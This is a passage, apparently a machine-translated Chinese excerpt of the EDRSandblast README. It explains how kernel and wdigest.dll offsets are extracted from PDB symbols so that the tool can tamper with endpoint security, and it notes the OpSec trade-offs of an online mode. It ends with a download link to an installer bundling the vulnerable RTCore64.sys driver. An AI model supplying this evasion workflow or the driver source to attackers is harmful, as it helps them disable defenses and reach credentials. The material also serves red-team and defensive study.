可以使用提供的ExtractOffsets.py
Python 腳本提取所需的ntoskrnl.exe
和wdigest.dll
偏移量,該腳本依賴radare2
和r2pipe
從 PDB 檔案下載和解析符號,並從中提取所需的偏移量。然後,偏移量將儲存在 CSV 檔案中,供 EDRSandblast 稍後使用。
為了支援開箱即用的各種 Windows 版本,Winbindex 引用許多版本的ntoskrnl.exe
和wdigest.dll
二進位文件,並且可以透過ExtractOffsets.py
這允許從 Windows 更新包中發布的幾乎所有檔案中提取偏移量(迄今為止,已有 450 多個ntoskrnl.exe
和 30 多個wdigest.dll
版本可用並已預先計算)。
EDRSandBlast
中還實現了一個附加選項,允許程式從 Microsoft Symbol Server 下載所需的.pdb
檔案本身,提取所需的偏移量,甚至更新相應的.csv
檔案(如果存在)。
使用--internet
選項使工具執行更加簡單,同時引入額外的 OpSec 風險,因為在此過程中會下載.pdb
檔案並將其放入磁碟上。這是用於解析符號資料庫的dbghelp.dll
函數所必需的;但是,將來可能會實現完整的記憶體中 PDB 解析,以提高此要求並減少工具的佔用空間。
可以在以下位置檢索易受攻擊的RTCore64.sys
驅動程式:
http://download-eu2.guru3d.com/afterburner/%5BGuru3D.com%5D-MSIAfterburnerSetup462Beta2.zip